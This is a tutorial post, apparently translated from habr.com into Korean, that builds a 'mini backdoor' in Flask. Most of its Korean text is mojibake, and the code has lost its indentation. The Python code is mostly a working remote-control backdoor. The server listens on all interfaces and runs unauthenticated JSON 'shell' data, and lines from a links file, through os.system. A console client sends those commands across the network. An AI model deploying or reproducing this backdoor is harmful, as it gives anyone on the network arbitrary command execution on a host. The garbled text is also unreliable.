ํค์ด ํ๋ธ๋ฅด!
๋๋ ์ต๊ทผ์ "Flask์์ ์์ ๋ง์ ์น ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ง๋๋ ๋ฐฉ๋ฒ"์ด๋ผ๋ ํ๋ก๊ทธ๋๋ฐ ์คํธ๋ฆผ์ ๋ค์ด๋ก๋ ๋ฒ์ ์ ์์ฒญํ์ต๋๋ค. ๊ทธ๋ฆฌ๊ณ ์ ๋ ์ผ๋ถ ํ๋ก์ ํธ์ ๋ํ ์ง์์ ํตํฉํ๊ธฐ๋ก ๊ฒฐ์ ํ์ต๋๋ค. ์ค๋ซ๋์ ๋๋ ๋ฌด์์ ์จ์ผํ ์ง ๋ชฐ๋๊ณ "Flask์์ ๋ฏธ๋ ๋ฐฑ๋์ด๋ฅผ ๋ง๋ค์ด ๋ณด๋ ๊ฒ์ด ์ด๋จ๊น์?"๋ผ๋ ์์ด๋์ด๊ฐ ๋ ์ฌ๋์ต๋๋ค.
๋ฐฑ๋์ด ๊ตฌํ ๋ฐ ๊ธฐ๋ฅ์ ๋ํ ์ฒซ ๋ฒ์งธ ์ต์ ์ด ์ฆ์ ๋ด ๋จธ๋ฆฟ์์ ๋ํ๋ฌ์ต๋๋ค. ๊ทธ๋ฌ๋ ๋๋ ์ฆ์ ๋ฐฑ๋์ด ๊ธฐ๋ฅ ๋ชฉ๋ก์ ์์ฑํ๊ธฐ๋ก ๊ฒฐ์ ํ์ต๋๋ค.
- ์น์ฌ์ดํธ๋ฅผ ์ฌ๋ ๋ฐฉ๋ฒ์ ์์๋ณด์ธ์
- ๋ช ๋ น์ค ์ก์ธ์ค ๊ฐ๋ฅ
- ํ๋ก๊ทธ๋จ, ์ฌ์ง, ๋น๋์ค๋ฅผ ์ด ์ ์์ต๋๋ค.
๋ฐ๋ผ์ ์ฒซ ๋ฒ์งธ ์์ ์ webbrowser ๋ชจ๋์ ์ฌ์ฉํ์ฌ ๊ตฌํํ๋ ๊ฒ์ด ๋งค์ฐ ์ฝ์ต๋๋ค. ๋๋ os ๋ชจ๋์ ์ฌ์ฉํ์ฌ ๋ ๋ฒ์งธ ์์ ์ ๊ตฌํํ๊ธฐ๋ก ๊ฒฐ์ ํ์ต๋๋ค. ์ธ ๋ฒ์งธ๋ os ๋ชจ๋์ ํตํ์ง๋ง "๋งํฌ"๋ฅผ ์ฌ์ฉํ๊ฒ ์ต๋๋ค(์์ธํ ๋ด์ฉ์ ๋์ค์ ์ค๋ช
).
์๋ฒ ์์ฑ
๋ฐ๋ผ์ ๋ชจ๋ ์๋ฒ ์ฝ๋๋ฅผ *๋๋ผ๋กค*ํ์ธ์.
from flask import Flask, request
import webbrowser
import os
import re
app = Flask(__name__)
@app.route('/mycomp', methods=['POST'])
def hell():
json_string = request.json
if json_string['command'] == 'test':
return 'The server is running and waiting for commands...'
if json_string['command'] == 'openweb':
webbrowser.open(url='https://www.'+json_string['data'], new=0)
return 'Site opening ' + json_string['data'] + '...'
if json_string['command'] == 'shell':
os.system(json_string['data'])
return 'Command execution ' + json_string['data'] + '...'
if json_string['command'] == 'link':
links = open('links.txt', 'r')
for i in range(int(json_string['data'])):
link = links.readline()
os.system(link.split('>')[0])
return 'Launch ' + link.split('>')[1]
if __name__ == '__main__':
app.run(host='0.0.0.0')
์ด๋ฏธ ๋ชจ๋ ์ฝ๋๋ฅผ ๋คํํ์ผ๋ ์ด์ ๋ณธ์ง์ ์ค๋ช ํ ์ฐจ๋ก์ ๋๋ค.
๋ชจ๋ ์ฝ๋๋ ํฌํธ 5000์ ๋ก์ปฌ ์ปดํจํฐ์์ ์คํ๋ฉ๋๋ค. ์๋ฒ์ ์ํธ์์ฉํ๋ ค๋ฉด JSON POST ์์ฒญ์ ๋ณด๋ด์ผ ํฉ๋๋ค.
JSON ์์ฒญ ๊ตฌ์กฐ:
{โcommandโ: โcomecommandโ, โdataโ: โsomedataโ}
๊ธ์์, 'command'๊ฐ ์ฐ๋ฆฌ๊ฐ ์คํํ๋ ค๋ ๋ช ๋ น์ด๋ผ๋ ๊ฒ์ ์ดํด๊ฐ ๋ฉ๋๋ค. ๊ทธ๋ฆฌ๊ณ 'data'๋ ๋ช ๋ น ์ธ์์ ๋๋ค.
์๋ฒ์ ์๋์ผ๋ก ์ํธ ์์ฉํ๊ธฐ ์ํด JSON ์์ฒญ์ ์์ฑํ๊ณ ๋ณด๋ผ ์ ์์ต๋๋ค(์์ฒญ์ด ๋์์ด ๋ ๊ฒ์ ๋๋ค). ์๋๋ฉด ์ฝ์ ํด๋ผ์ด์ธํธ๋ฅผ ์์ฑํ ์๋ ์์ต๋๋ค.
ํด๋ผ์ด์ธํธ ์์ฑ
์ฝ๋ :
import requests
logo = ['nn',
'****** ********',
'******* *********',
'** ** ** **',
'** ** ** ** Written on Python',
'******* ** **',
'******** ** **',
'** ** ** ** Author: ROBOTD4',
'** ** ** **',
'** ** ** **',
'******** *********',
'******* ********',
'nn']
p = ''
iport = '192.168.1.2:5000'
host = 'http://' + iport + '/mycomp'
def test():
dict = {'command': 'test', 'data': 0}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
def start():
for i in logo:
print(i)
start()
test()
while True:
command = input('>')
if command == '':
continue
a = command.split()
if command == 'test':
dict = {'command': 'test', 'data': 0}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
if a[0] == 'shell':
for i in range(1, len(a)):
p = p + a[i] + ' '
dict = {'command': 'shell', 'data': p}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
p = ''
if a[0] == 'link':
if len(a) > 1:
dict = {'command': 'link', 'data': int(a[1])}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
else:
print('ะะพะผะผะฐะฝะดะฐ ะฝะต ัะพะดะตัะถะธั ะฐัะณัะผะตะฝัะพะฒ!')
if a[0] == 'openweb':
if len(a) > 1:
dict = {'command': 'openweb', 'data': a[1]}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
else:
print('ะะพะผะผะฐะฝะดะฐ ะฝะต ัะพะดะตัะถะธั ะฐัะณัะผะตะฝัะพะฒ!')
if a[0] == 'set':
if a[1] == 'host':
ip = a[2] + ':5000'
if command == 'quit':
break
์ค๋ช :
์ฐ์ , ์์ฒญ ๋ชจ๋์ ๊ฐ์ ธ์ต๋๋ค(์๋ฒ์ ์ํธ์์ฉํ๊ธฐ ์ํด). ๋ค์์ ์์ ๋ฐ ํ ์คํธ ๊ธฐ๋ฅ์ ๋ํ ์ค๋ช ์ ๋๋ค. ๊ทธ๋ฆฌ๊ณ ๋ง๋ฒ์ด ์ผ์ด๋๋ ์ฃผ๊ธฐ์ ๋๋ค. ์ฝ๋๋ฅผ ์ฝ์ด๋ณด์ จ๋์? ๊ทธ๋์ ๋น์ ์ ์ฃผ๊ธฐ์์ ์ผ์ด๋๋ ๋ง๋ฒ์ ์๋ฏธ๋ฅผ ์ดํดํฉ๋๋ค. ๋ช ๋ น์ ์ ๋ ฅํ๋ฉด ์คํ๋ฉ๋๋ค. Shell โ ๋ช ๋ น์ค์ ๋ํ ๋ช ๋ น์ ๋๋ค(๋ก์ง์ ๊ท๋ชจ์ ๋ง์ง ์์).
ํ
์คํธ โ ์๋ฒ๊ฐ ์คํ ์ค์ธ์ง ํ์ธ(๋ฐฑ๋์ด)
๋งํฌ - "๋ฐ๋ก๊ฐ๊ธฐ" ์ฌ์ฉ
์คํ์น(Openweb) โ ์น์ฌ์ดํธ๋ฅผ ๊ฐ์คํ๋ค
์ข
๋ฃ โ ํด๋ผ์ด์ธํธ ์ข
๋ฃ
์ค์ โ ๋ก์ปฌ ๋คํธ์ํฌ์์ ์ปดํจํฐ์ IP ์ค์
์ด์ ๋งํฌ์ ๋ํด ์์ธํ ์์๋ณด์ธ์.
์๋ฒ ์์ link.txt ํ์ผ์ด ์์ต๋๋ค. ์ฌ๊ธฐ์๋ ํ์ผ(๋น๋์ค, ์ฌ์ง, ํ๋ก๊ทธ๋จ)์ ๋ํ ๋งํฌ(์ ์ฒด ๊ฒฝ๋ก)๊ฐ ํฌํจ๋์ด ์์ต๋๋ค.
๊ตฌ์กฐ๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
ะฟะพะปะฝัะน_ะฟััั>ะพะฟะธัะฐะฝะธะต
ะฟะพะปะฝัะน_ะฟััั>ะพะฟะธัะฐะฝะธะต
ํฉ๊ณ
์ฐ๋ฆฌ๋ ๋ก์ปฌ ๋คํธ์ํฌ(Wi-Fi ๋คํธ์ํฌ ๋ด)์ ์ปดํจํฐ๋ฅผ ์ ์ดํ๊ธฐ ์ํ ๋ฐฑ๋์ด ์๋ฒ๋ฅผ ๋ณด์ ํ๊ณ ์์ต๋๋ค. ๊ธฐ์ ์ ์ผ๋ก Python ์ธํฐํ๋ฆฌํฐ๊ฐ ์๋ ๋ชจ๋ ์ฅ์น์์ ํด๋ผ์ด์ธํธ๋ฅผ ์คํํ ์ ์์ต๋๋ค.
PS ๋ก์ปฌ ๋คํธ์ํฌ์ ์ปดํจํฐ์ ๋ค๋ฅธ IP๊ฐ ํ ๋น๋๋ฉด ํด๋ผ์ด์ธํธ์์ ์ง์ ๋ณ๊ฒฝํ ์ ์๋๋ก set ๋ช
๋ น์ ์ถ๊ฐํ์ต๋๋ค.
์ถ์ฒ : habr.com